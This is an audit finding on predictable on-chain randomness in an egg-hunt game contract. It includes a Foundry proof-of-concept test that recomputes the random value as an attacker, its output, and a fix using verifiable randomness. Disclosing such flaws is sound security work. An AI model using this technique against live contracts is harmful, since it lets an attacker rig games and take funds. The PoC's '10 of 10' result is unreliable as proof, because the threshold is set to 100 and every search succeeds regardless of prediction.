Summary
The function searchForEgg() is using a randomness attributes that are easy to be find, making the random value predictable.
Vulnerability Details
The random variable is using some block global variables and easy to get values such as msg.sender and eggCounter.
function searchForEgg() external {
...
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
...
}
Impact
Being able to predict the random value, an attacker could win all the time by playing when the random is in his favor.
Tools Used
PoC
Add the following test to the EggGameTest contract:
function test_forBadRandomness() public {
game.startGame(200);
assertEq(game.gameActive(), true);
game.setEggFindThreshold(100);
vm.startPrank(attacker, attacker);
for (uint i = 0 ; i < 10 ; i++){
uint256 predictedEggCounter = game.eggCounter();
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(attacker), predictedEggCounter))
) % 100;
console.log("Iteration ", i, " Random is ", random);
game.searchForEgg();
}
vm.stopPrank();
console.log("Total Egg Counter: ", game.eggCounter());
console.log("Egg Found by Attacker: ", game.eggsFound(address(attacker)));
}
The result of running the following test using:
forge test --mt test_forBadRandomness -vvv
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] test_forBadRandomness() (gas: 542214)
Logs:
Iteration 0 Random is 74
Iteration 1 Random is 55
Iteration 2 Random is 68
Iteration 3 Random is 31
Iteration 4 Random is 39
Iteration 5 Random is 29
Iteration 6 Random is 84
Iteration 7 Random is 68
Iteration 8 Random is 44
Iteration 9 Random is 82
Total Egg Counter: 10
Egg Found by Attacker: 10
Recommendations
The flaw comes from the fact that the random is using variable with known values / easy to find, it is recommended to use true randomness from an on-chain verifiable randomness such as Chainlink VRF (Verifiable Random Function).